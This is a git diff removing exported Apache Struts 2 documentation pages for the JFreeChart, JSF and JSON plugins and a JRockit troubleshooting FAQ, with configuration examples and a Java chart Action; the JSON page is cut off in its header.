-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="jfreechart-plugin.html">JFreeChart Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">JFreeChart Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14300">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14300">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14300">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14300">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14300">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14300">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><a shape="rect" class="external-link" href="http://www.jfree.org/jfreechart/" rel="nofollow">JFreeChart</a> is a free 100% Java (LGPL) chart library that makes it easy for developers to display professional quality charts  [...]
-
-<p>The JFreeChart plugin allows Actions to easily return generated charts and graphs.  </p>
-
-<p>Instead of streaming a generated chart directly to the HTTP response, this plugin provides a ChartResult, which handles the generation for you.  This allows you to generate the chart in one class, and render it out in another class, effectively decoupling the view from the Actions. You can easily render it out to a file or some view other than a web HTTP response if you wish.</p>
-
-<h2 id="JFreeChartPlugin-Features">Features</h2>
-
-<ul><li>Handles rendering charts to the HTTP response</li><li>Can be used in other non-web contexts</li></ul>
-
-
-<h3 id="JFreeChartPlugin-FutureWork">Future Work</h3>
-
-<p>Currently the "chart" property is hardcoded. There should be a better way of transferring data from the Action to the Result, via some externally defined variable or something.</p>
-
-<p>As mentioned by John Patterson (mailing list), the Action is still dependant on a JFreeChart Chart class. This can be improved. The seperation between Action and View can be made cleaner. A chart-agonistic List or Array can be used as the data, and the configuration of the chart details (font, axis, etc...) be done via the result properties in the xwork.xml.</p>
-
-<p>But hey, the above works for now. Any suggestions are welcome.</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>You can also create charts via the CeWolf library directly.  See <a shape="rect" href="cewolf-charts-using-velocity-templates.html">CeWolf charts using Velocity templates</a>.</p></div></div>
-
-<h2 id="JFreeChartPlugin-Usage">Usage</h2>
-
-<p>To use the plugin, have your Struts configuration package extend the <code>jfreechart-default</code> package, which provides the <code>chart</code> result type.  Next, use it as a result in an action:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Chart example in struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="viewModerationChart" class="myapp.actions.ViewModerationChartAction"&gt;
-  &lt;result name="success" type="chart"&gt;
-    &lt;param name="width"&gt;400&lt;/param&gt;
-    &lt;param name="height"&gt;300&lt;/param&gt; 
-  &lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>In your Action class, provide a <code>getChart()</code> method that returns the chart to be rendered.  This method will be called by the chart result.</p>
-
-<h3 id="JFreeChartPlugin-Example">Example</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Action that provides a chart</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class ViewModerationChartAction extends ActionSupport {
-
-	private JFreeChart chart;
-
-	public String execute() throws Exception {
-		// chart creation logic...
-		XYSeries dataSeries = new XYSeries(new Integer(1)); //pass a key for this serie
-		for (int i = 0; i &lt;= 100; i++) {
-			dataSeries.add(i, RandomUtils.nextInt());
-		}
-		XYSeriesCollection xyDataset = new XYSeriesCollection(dataSeries);
-
-		ValueAxis xAxis = new NumberAxis("Raw Marks");
-		ValueAxis yAxis = new NumberAxis("Moderated Marks");
-
-		// set my chart variable
-		chart =
-			new JFreeChart(
-				"Moderation Function",
-				JFreeChart.DEFAULT_TITLE_FONT,
-				new XYPlot(
-					xyDataset,
-					xAxis,
-					yAxis,
-					new StandardXYItemRenderer(StandardXYItemRenderer.LINES)),
-				false);
-		chart.setBackgroundPaint(java.awt.Color.white);
-
-		return super.SUCCESS;
-	}
-
-	public JFreeChart getChart() {
-		return chart;
-	}
-
-}
-</pre>
-</div></div>
-
-
-
-    
-    
-    
-
-<div class="gallery">
-        <table><tr><td colspan="1" rowspan="1">There are no images attached to this page.</td></tr></table>
-</div>
-
-
-<h3 id="JFreeChartPlugin-Settings">Settings</h3>
-
-<p>This plugin doesn't provides any global settings.</p>
-
-<h3 id="JFreeChartPlugin-Installation">Installation</h3>
-
-<p>This plugin can be installed by copying the plugin jar into your application's <code>/WEB-INF/lib</code> directory.  The JFreeChart library will need to be downloaded separately, as its LGPL license doesn't allow it to be distributed with Struts.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/jrockit.html b/content/docs/jrockit.html
deleted file mode 100644
index 2322cb7..0000000
--- a/content/docs/jrockit.html
+++ /dev/null
@@ -1,190 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>JRockit</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="jrockit.html">JRockit</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">JRockit</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=83414">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=83414">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=83414">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=83414">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=83414">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=83414">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>These are possible issues and solutions that may be encountered when using the JRocket Java VM:</p>
-
-<h2 id="JRockit-java.lang.NoClassDefFoundError:org/apache/velocity/app/VelocityEngine"><code>java.lang.NoClassDefFoundError: org/apache/velocity/app/VelocityEngine</code></h2>
-
-<p>When loading the Struts 2 filter, you may get this exception in your logs, preventing Struts 2 from starting correctly:</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>&lt;Oct 3, 2007 8:07:21 AM EDT&gt; &lt;Error&gt; &lt;HTTP&gt; &lt;BEA-101165&gt; &lt;Could not load user defined filter in web.xml: org.apache.struts2.dispatcher.FilterDispatcher.
-java.lang.NoClassDefFoundError: org/apache/velocity/app/VelocityEngine
-at java.lang.Class.getDeclaredFields0(Native Method)
-at java.lang.Class.privateGetDeclaredFields(Class.java:2259)
-at java.lang.Class.getDeclaredFields(Class.java:1715)
-at com.opensymphony.xwork2.inject.ContainerImpl.addInjectors(ContainerImpl.java:102) 
-...
-</pre>
-</div></div>
-
-<h5 id="JRockit-Cause">Cause</h5>
-
-<p>The JRocket VM seems to load classes differently than the Sun JVM by more eagerly loading classes that aren't meant to be loaded.  Velocity-related classes, such as the one used by the VelocityManager class that is the ultimate cause of this exception, should only be loaded lazily, as Velocity is officially an optional dependency for Struts.  JRocket seems to trigger the loading earlier on startup.</p>
-
-<h5 id="JRockit-Workaround">Workaround</h5>
-
-<p>Add the Velocity jars in your application's classpath and the problem will go away.  If you are using Maven 2, insert the following XML into your POM:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;velocity&lt;/groupId&gt;
-  &lt;artifactId&gt;velocity&lt;/artifactId&gt;
-  &lt;version&gt;1.4&lt;/version&gt;
-&lt;/dependency&gt;
-&lt;dependency&gt;
-  &lt;groupId&gt;velocity-tools&lt;/groupId&gt;
-  &lt;artifactId&gt;velocity-tools-view&lt;/artifactId&gt;
-  &lt;version&gt;1.2&lt;/version&gt;
-&lt;/dependency&gt; 
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/jsf-plugin.html b/content/docs/jsf-plugin.html
deleted file mode 100644
index ddee64c..0000000
--- a/content/docs/jsf-plugin.html
+++ /dev/null
@@ -1,222 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>JSF Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="jsf-plugin.html">JSF Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">JSF Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44198">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44198">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44198">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><a shape="rect" class="external-link" href="http://java.sun.com/j2ee/javaserverfaces" rel="nofollow">JavaServer Faces</a> technology simplifies building user interfaces for JavaServer applications. Developers of various sk [...]
-
-<p>The JSF Plugin provides support for JavaServer Faces components with no additional configuration.  This plugin combines the familiar Action-based approach to page logic and navigation, and sprinkles in optional support for JSF components. The result lets you easily incorporate component-driven pages as application needs dictate. </p>
-
-<p>The JSF support works by breaking up the JSF Licycle class into Struts Interceptors, one for each JSF phase.  When you include the <code>jsfStack</code> stack, you are ensuring the JSF page has its phases execute correctly.  At the end of the phases, the Struts Action itself is executed just like non-JSF pages.  The String return code of the Action is treated like any other Action as well.  Finally, the JSF "render" phase has been transformed into a Result.</p>
-
-<p>JavaServer Faces also has a concept of an "action", which are generally executed in response to a button click.  The handling of the JSF action is preserved through the <code>jsfStack</code> Interceptor stack, but its String result code, rather than being applied against a JSF navigation rule, is treated as a Struts result code thereby keeping the navigation responsibility within Struts.</p>
-
-<p>The limitations of this approach include:</p>
-
-<ol><li>Any custom Lifecycle class is ignored</li><li>Any custom NavigationHandler is delegated to only when a Struts 2 navigation option cannot be found</li></ol>
-
-
-<p>On the other hand, the rest of the JSF functionality, including PhaseListeners, components, multiple backing beans, etc. are preserved.  The Showcase example has a section demonstrating the JSF integration approach.</p>
-
-<h2 id="JSFPlugin-Features">Features</h2>
-
-<ul><li>Allows JSF components on normal Struts pages</li><li>Requires no additional configuration</li><li>Allows the JSF lifecycle to be completely customized</li><li>Preserves most JSF framework features so even complex components should work out of the box</li></ul>
-
-
-<h2 id="JSFPlugin-Usage">Usage</h2>
-
-<p>The JSF plugin splits the JSF lifecycle into an optional Interceptor stack and Result, yet retains the page's Action and navigation. Therefore, to use a page with JSF components, you need to:</p>
-
-<ol><li>Add the <code>jsfStack</code> interceptor stack to your action definition.  This is easiest done by having your package extend <code>jsf-default</code>.</li><li>Add a <code>jsf</code> result associated with the name <code>success</code></li></ol>
-
-
-<p>You can still add additional interceptors and results, including those that don't use JSF at all.  In fact, the recommended approach is to use regular Struts results to handle inter-page navigation to avoid a common problem of JSF applications where every page request is a HTTP POST.</p>
-
-<p>This approach brings an additional advantage to JSF - every page can have an Action to execute page setup code, and the same Action instance will be automatically available later in the JSF page's expression language as <code>action</code>.  This means any common page logic such as retrieving data from a database can remain in your Action, and having that instance available later in your JSF components means the JSF configuration file is completely optional.  The JSF configuration fil [...]
-
-<h3 id="JSFPlugin-Example">Example</h3>
-
-<p>The following is an example of a regular Struts Action 2 page definition:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Regular JSF Action</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="employee" class="org.apache.struts.action2.showcase.jsf.EmployeeAction"&gt;
-    &lt;interceptor-ref name="basicStack"/&gt;
-    &lt;result name="success"&gt;employee.jsp&lt;/result&gt;
-    &lt;result name="index" type="redirect-action"&gt;index&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>This is the same action but as a JSF-enabled page:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>JSF-enabled Action</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="employee" class="org.apache.struts.action2.showcase.jsf.EmployeeAction"&gt;
-    &lt;interceptor-ref name="basicStack"/&gt;
-    &lt;interceptor-ref name="jsfStack"/&gt;
-    &lt;result name="success" type="jsf" /&gt;
-    &lt;result name="index" type="redirect-action"&gt;index&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>Notice the Action-based navigation remains, but now you can use a page with JSF components and have complete access to the JSF lifecycle. This even supports JSF components that post back to themselves or add PhaseListeners to provide advanced AJAX support.</p>
-
-<h3 id="JSFPlugin-Settings">Settings</h3>
-
-<p>This plugin does not have any customizable settings.</p>
-
-<h3 id="JSFPlugin-Installation">Installation</h3>
-
-<p>This plugin can be installed by copying the plugin jar into your application's <code>/WEB-INF/lib</code> directory.  No other files need to be copied or created.</p>
-
-<h2 id="JSFPlugin-Resources">Resources </h2>
-
-<ul><li><a shape="rect" class="external-link" href="http://raibledesigns.com/rd/entry/integrating_struts_2_jsf_facelets" rel="nofollow">Integrating Struts 2 + JSF + Facelets</a> (Matt Raible)</li></ul>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/json-plugin.html b/content/docs/json-plugin.html
deleted file mode 100644
index e13e060..0000000
--- a/content/docs/json-plugin.html
+++ /dev/null
@@ -1,530 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>JSON Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="json-plugin.html">JSON Plugin</a>
-        </td>
